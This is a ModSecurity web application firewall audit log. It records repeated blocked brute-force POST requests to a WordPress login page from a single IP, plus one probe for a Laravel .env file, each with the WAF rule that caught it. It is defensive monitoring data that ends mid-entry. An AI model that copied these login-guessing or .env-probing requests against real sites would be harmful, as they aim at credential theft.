Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fcfcb840-Z--

--932f656a-A--
[13/Sep/2026:18:40:13.270515 +0300] aqbD3fut1GUrjaX0wO45sQAAAMU 134.185.87.66 46446 127.0.0.1 7081
--932f656a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 85
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--932f656a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--932f656a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314013268807 1763 (- - -)
Stopwatch2: 1789314013268807 1763; combined=583, p1=270, p2=87, p3=0, p4=0, p5=226, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--932f656a-Z--

--85d6f77f-A--
[13/Sep/2026:18:40:13.658582 +0300] aqbD3fut1GUrjaX0wO45swAAANc 134.185.87.66 46462 127.0.0.1 7081
--85d6f77f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--85d6f77f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--85d6f77f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314013656842 1833 (- - -)
Stopwatch2: 1789314013656842 1833; combined=581, p1=246, p2=77, p3=0, p4=0, p5=257, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--85d6f77f-Z--

--3e65b20f-A--
[13/Sep/2026:18:40:14.057275 +0300] aqbD3hsbgHO3aGL3jiTwyQAAABM 134.185.87.66 46472 127.0.0.1 7081
--3e65b20f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 84
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--3e65b20f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3e65b20f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314014055479 1850 (- - -)
Stopwatch2: 1789314014055479 1850; combined=594, p1=263, p2=99, p3=0, p4=0, p5=232, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3e65b20f-Z--

--c374e84f-A--
[13/Sep/2026:18:40:14.454878 +0300] aqbD3vut1GUrjaX0wO45tgAAAM4 134.185.87.66 46488 127.0.0.1 7081
--c374e84f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--c374e84f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c374e84f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314014453222 1732 (- - -)
Stopwatch2: 1789314014453222 1732; combined=560, p1=247, p2=69, p3=0, p4=0, p5=244, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c374e84f-Z--

--ee05cd58-A--
[13/Sep/2026:18:40:14.863866 +0300] aqbD3vut1GUrjaX0wO45uAAAAMs 134.185.87.66 46500 127.0.0.1 7081
--ee05cd58-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 85
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--ee05cd58-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ee05cd58-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314014862082 1840 (- - -)
Stopwatch2: 1789314014862082 1840; combined=655, p1=252, p2=80, p3=0, p4=0, p5=323, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ee05cd58-Z--

--fd65fe28-A--
[13/Sep/2026:18:40:15.260792 +0300] aqbD3-ut1GUrjaX0wO45ugAAANQ 134.185.87.66 46504 127.0.0.1 7081
--fd65fe28-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 84
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--fd65fe28-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--fd65fe28-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314015259061 1786 (- - -)
Stopwatch2: 1789314015259061 1786; combined=587, p1=238, p2=72, p3=0, p4=0, p5=277, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fd65fe28-Z--

--611fc962-A--
[13/Sep/2026:18:40:15.647117 +0300] aqbD3xsbgHO3aGL3jiTwygAAABg 134.185.87.66 33524 127.0.0.1 7081
--611fc962-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--611fc962-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--611fc962-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314015645096 2088 (- - -)
Stopwatch2: 1789314015645096 2088; combined=596, p1=232, p2=132, p3=0, p4=0, p5=232, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--611fc962-Z--

--e4b4810f-A--
[13/Sep/2026:18:40:16.036062 +0300] aqbD4Put1GUrjaX0wO45vQAAAMU 134.185.87.66 33532 127.0.0.1 7081
--e4b4810f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--e4b4810f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--e4b4810f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314016034418 1700 (- - -)
Stopwatch2: 1789314016034418 1700; combined=626, p1=244, p2=117, p3=0, p4=0, p5=265, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e4b4810f-Z--

--0a5da405-A--
[13/Sep/2026:18:40:16.419582 +0300] aqbD4Put1GUrjaX0wO45vwAAANc 134.185.87.66 33562 127.0.0.1 7081
--0a5da405-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--0a5da405-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--0a5da405-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314016417904 1785 (- - -)
Stopwatch2: 1789314016417904 1785; combined=606, p1=255, p2=85, p3=0, p4=0, p5=266, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0a5da405-Z--

--feee1f37-A--
[13/Sep/2026:18:40:16.692569 +0300] aqbD4Put1GUrjaX0wO45wQAAAMQ 151.240.56.49 33588 127.0.0.1 7081
--feee1f37-B--
GET /.env HTTP/1.1
Host: axapres.ro
X-Real-IP: 151.240.56.49
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
Accept-Encoding: gzip, deflate
Accept: */*

--feee1f37-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--feee1f37-E--

--feee1f37-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "axapres.ro"] [uri "/.env"] [unique_id "aqbD4Put1GUrjaX0wO45wQAAAMQ"]
Stopwatch: 1789314016677553 15085 (- - -)
Stopwatch2: 1789314016677553 15085; combined=13960, p1=230, p2=13632, p3=55, p4=6, p5=36, sr=91, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--feee1f37-Z--

--71230b58-A--
[13/Sep/2026:18:40:16.811464 +0300] aqbD4Put1GUrjaX0wO45wgAAAM4 134.185.87.66 33604 127.0.0.1 7081
--71230b58-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--71230b58-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--71230b58-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314016809586 1952 (- - -)
Stopwatch2: 1789314016809586 1952; combined=608, p1=290, p2=89, p3=0, p4=0, p5=229, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--71230b58-Z--

--9d3b6a6a-A--
[13/Sep/2026:18:40:17.198591 +0300] aqbD4fut1GUrjaX0wO45xAAAAMs 134.185.87.66 33618 127.0.0.1 7081
--9d3b6a6a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--9d3b6a6a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9d3b6a6a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314017196941 1758 (- - -)
Stopwatch2: 1789314017196941 1758; combined=579, p1=240, p2=69, p3=0, p4=0, p5=270, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9d3b6a6a-Z--

--d5785416-A--
[13/Sep/2026:18:40:17.580561 +0300] aqbD4fut1GUrjaX0wO45xgAAANQ 134.185.87.66 33632 127.0.0.1 7081
--d5785416-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 85
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--d5785416-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--d5785416-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314017578981 1659 (- - -)
Stopwatch2: 1789314017578981 1659; combined=527, p1=231, p2=61, p3=0, p4=0, p5=235, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d5785416-Z--

--74d05d1b-A--
[13/Sep/2026:18:40:17.981916 +0300] aqbD4fut1GUrjaX0wO45ygAAAM8 134.185.87.66 33682 127.0.0.1 7081
--74d05d1b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--74d05d1b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--74d05d1b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314017980184 1786 (- - -)
Stopwatch2: 1789314017980184 1786; combined=538, p1=243, p2=71, p3=0, p4=0, p5=224, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--74d05d1b-Z--

--6f365444-A--
[13/Sep/2026:18:40:18.378728 +0300] aqbD4khjHs68UzErry1K8QAAAIY 134.185.87.66 33750 127.0.0.1 7081
--6f365444-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 84
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--6f365444-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--6f365444-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314018366882 11908 (- - -)
Stopwatch2: 1789314018366882 11908; combined=535, p1=205, p2=68, p3=0, p4=0, p5=262, sr=77, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6f365444-Z--

--fc48e404-A--
[13/Sep/2026:18:40:18.785685 +0300] aqbD4vut1GUrjaX0wO451wAAAMU 134.185.87.66 33826 127.0.0.1 7081
--fc48e404-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--fc48e404-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--fc48e404-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
